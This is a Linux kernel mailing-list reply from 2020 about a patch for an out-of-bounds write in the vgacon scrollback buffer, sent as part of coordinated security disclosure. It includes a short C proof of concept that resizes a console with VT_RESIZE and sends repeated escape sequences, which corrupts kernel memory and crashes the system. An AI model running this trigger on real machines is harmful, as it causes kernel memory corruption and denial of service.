Received-SPF: pass (google.com: domain of linux-kernel-owner@vger.kernel.org designates 23.128.96.18 as permitted sender) client-ip=23.128.96.18;
Subject: Re: [PATCH] vgacon: fix out of bounds write to the scrollback buffer
To:     =?UTF-8?B?5byg5LqR5rW3?= <zhangyunhai@nsfocus.com>,
        b.zolnierkie@samsung.com
Cc:     linux-kernel@vger.kernel.org,
        Yang Yingliang <yangyingliang@huawei.com>,
        Kyungtae Kim <kt0755@gmail.com>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Greg KH <greg@kroah.com>, Solar Designer <solar@openwall.com>,
        "Srivatsa S. Bhat" <srivatsa@csail.mit.edu>,
        Anthony Liguori <aliguori@amazon.com>,
        Security Officers <security@kernel.org>,
        linux-distros@vs.openwall.org, dri-devel@lists.freedesktop.org,
        linux-fbdev@vger.kernel.org
References: <c1f267aa-dfb3-91fa-3111-30c1676f1a91@kernel.org>
 <c5a73038-f441-602b-584b-3d84622b1fb1@nsfocus.com>
From:   Jiri Slaby <jirislaby@kernel.org>
Message-ID: <d0cc1f99-1ef0-c7a2-6b42-d25d8fa49f1e@kernel.org>
Date:   Wed, 29 Jul 2020 13:20:00 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.10.0
MIME-Version: 1.0
In-Reply-To: <c5a73038-f441-602b-584b-3d84622b1fb1@nsfocus.com>
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: 8bit
Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk

On 29. 07. 20, 10:19, 张云海 wrote:
> On 2020/7/29 16:11, Jiri Slaby wrote:
>> But the loop checks for the overflow:
>>   if (vgacon_scrollback_cur->tail >= vgacon_scrollback_cur->size)
>>         vgacon_scrollback_cur->tail = 0;
>>
>> So the first 2 iterations would write to the end of the buffer and this
>> 3rd one should have zeroed ->tail.
> 
> In the 2nd  iteration before the check:
> vgacon_scrollback_cur->tail is 65360 which is still less then
> vgacon_scrollback_cur->size(65440), so the ->tail won't be zeroed.
> 
> Then it gose to the 3rd  iteration, overflow occurs.

Ahh, I see now! So it must be triggered by CSI M instead. It allows for
more than 1 in count. So this is PoC for this case:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>

int main(int argc, char** argv)
{
        int fd = open("/dev/tty1", O_RDWR);
        unsigned short size[3] = {25, 200, 0};
        ioctl(fd, 0x5609, size); // VT_RESIZE

        write(fd, "\e[1;1H", 6);
        for (int i = 0; i < 30; i++)
                write(fd, "\e[10M", 5);
}

It corrupts memory, so it crashes the kernel randomly. Even with my
before-loop patch.

So now: could you resend your patch with improved commit message, add
all those Ccs etc.? You can copy most of the Ccs from my patch verbatim.

I am also not sure the test I was pointing out on the top of this
message would be of any use after the change. But maybe leave the code
rest in peace.

thanks,
-- 
js
suse labs